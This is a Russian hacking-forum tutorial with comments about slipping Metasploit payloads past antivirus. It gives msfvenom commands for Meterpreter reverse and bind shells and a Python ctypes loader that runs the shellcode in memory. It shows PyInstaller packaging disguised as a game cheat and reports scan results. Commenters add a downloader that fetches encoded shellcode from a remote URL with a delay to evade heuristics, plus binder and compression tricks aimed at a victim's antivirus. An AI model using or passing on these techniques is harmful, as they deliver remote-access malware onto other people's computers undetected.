РАЗБОР Статья 

Обход антивируса с помощью ctypes (python)

<~DarkNode~>
<~DarkNode~> ~^M1st3r_Bert0ni^~ · 692 сообщений
Подписаться
13,4 тыс.
Режим чтения
Привет колеги.
Сегодня покажу очень простенький пример обхода антивируса с помощью библиотеки ctypes в языке программирования python.
Суть обхода в том эта библиотека дает нам возможность выполнять код C|C++ в питоновском скрипте.
И мы смело сможем запустить шеллкод метасплоита в оперативной памяти.

Вы уж простите много писать пока не буду,времени очень мало у меня,отпишу потом пояснения в коментариях если возникнут вопросы у кого то .))

Вообщем ближе к делу

И так проделываем следующие шаги:
1)Создаем шеллкод командой:
Код:
msfvenom -p windows/meterpreter/reverse_https lport=1337 lhost=192.168.137.137 -b \0x0a\0x0b\0xff -f c
2.jpg

тут ничего пояснять думаю не нужно ,лишь обратить внимания стоит на параметр -b которым мы указываем которые плохие символы в шеллкоде нужно не использовать.

Дальше создаем скрипт на питоне следуещого вида:

Код:
from ctypes import *

shellcode = ("Тут_копипастим_наш шеллкод_созданный_через_msf_venom");

tralivali = create_string_buffer(shellcode, len(shellcode))
shell = cast(tralivali, CFUNCTYPE(c_void_p))

shell()

4.png


3.png


Собираем через pyinstaller на Windows системе..
Код:
C:\Python27\Scripts\pyinstaller.exe -F --noconsole --onefile --icon=C:\Users\CorpOfHack\Desktop\contacts.ico C:\Users\CorpOfHack\Desktop\SuperCheat.py
1.jpg



Хочу заметить что когда я не использовал картинку мне показало на https://nodistribute.com/ 0/35
а когда добавил иконку то 8/35. Почему пока не выяснял.

5.png

Вот без картинки

А вот с картинкой

Ну в любом случае результат не плохой) Все спасибо за внимания.Надеюсь был полезен)

Вот видосик)

Полезно · 16

Комментарии

8
Python 3.x или 2.7?
 
  • Нравится
Реакции: Shadow User, Myf и (удалённый пользователь)
3
Congratulation again bro and for your time for text it this is good so for early and thanks for your code and you say right without icon bypass some detection .. One similar thing happen if you use easybinder for binder exe and change compression to "zlib,bzip2,lzma" have result of detection always different the more good is always lzma bzip2 but depend if you already know the av of victim need try any compression maybe ;) Good lucky bro have a nice day ;)
 
  • Нравится
Реакции: <~DarkNode~>
1
Универсальный метод :

#!/usr/bin/python

from ctypes import *
from base64 import b64decode # Тут указываем свой метод шифрования
from urllib import urlopen
from time import sleep

URL = "http://127.0.0.1/evil.b64" # Здесь указываем страницу со своим шелл-кодом

downloader = urlopen(URL) # Скачать содержимое
shellcode = b64decode(downloader.read()) # Декодирование шелл-кода
sleep(31) # Избегаем эвристики за счет времени
shellcode_buffer = create_string_buffer(shellcode, len(shellcode))
shell = cast(shellcode_buffer, CFUNCTYPE(c_void_p))
shell()
 
Последнее редактирование:
  • Нравится
Реакции: Shadow User, gushmazuko, <~DarkNode~> и ещё 1 человек
4
Да, и для лучшего понимания питоном шелл-кода на С, лучше убрать изначально все двойные ковычки и новые линии таким образом:

./msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 C | tr -d '"' | tr -d '\n' | more
 
  • Нравится
Реакции: Shadow User, gushmazuko и <~DarkNode~>
3
Универсальный метод :

#!/usr/bin/python

from ctypes import *
from base64 import b64decode # Тут указываем свой метод шифрования
from urllib import urlopen
from time import sleep

URL = "http://127.0.0.1/evil.b64" # Здесь указываем страницу со своим шелл-кодом

downloader = urlopen(URL) # Скачать содержимое
shellcode = b64decode(downloader.read()) # Декодирование шелл-кода
sleep(31) # Избегаем эвристики за счет времени
shellcode_buffer = create_string_buffer(shellcode, len(shellcode))
shell = cast(shellcode_buffer, CFUNCTYPE(c_void_p))
shell()
Да использовать принцип веб деливери практичнее всегда.
Я лишь показал возможности ctypes библиотеки.
А так ,да. Обычно шеллкод размещают или на гитхабе или пастебине.
 
  • Нравится
Реакции: Shadow User, gushmazuko, Celestial и ещё 1 человек
4
Интересный способ. Явно стоит затестить.
 
Пробовал под Linux, но не работает. Падает от сегментации памяти. (pyinstaller не использовал.)
msfvenom -p 'linux/x64/meterpreter/bind_tcp' LPORT=772 -f c -o payload
Screenshot at 2020-07-29 20-18-21.png
Screenshot at 2020-07-29 20-20-56.png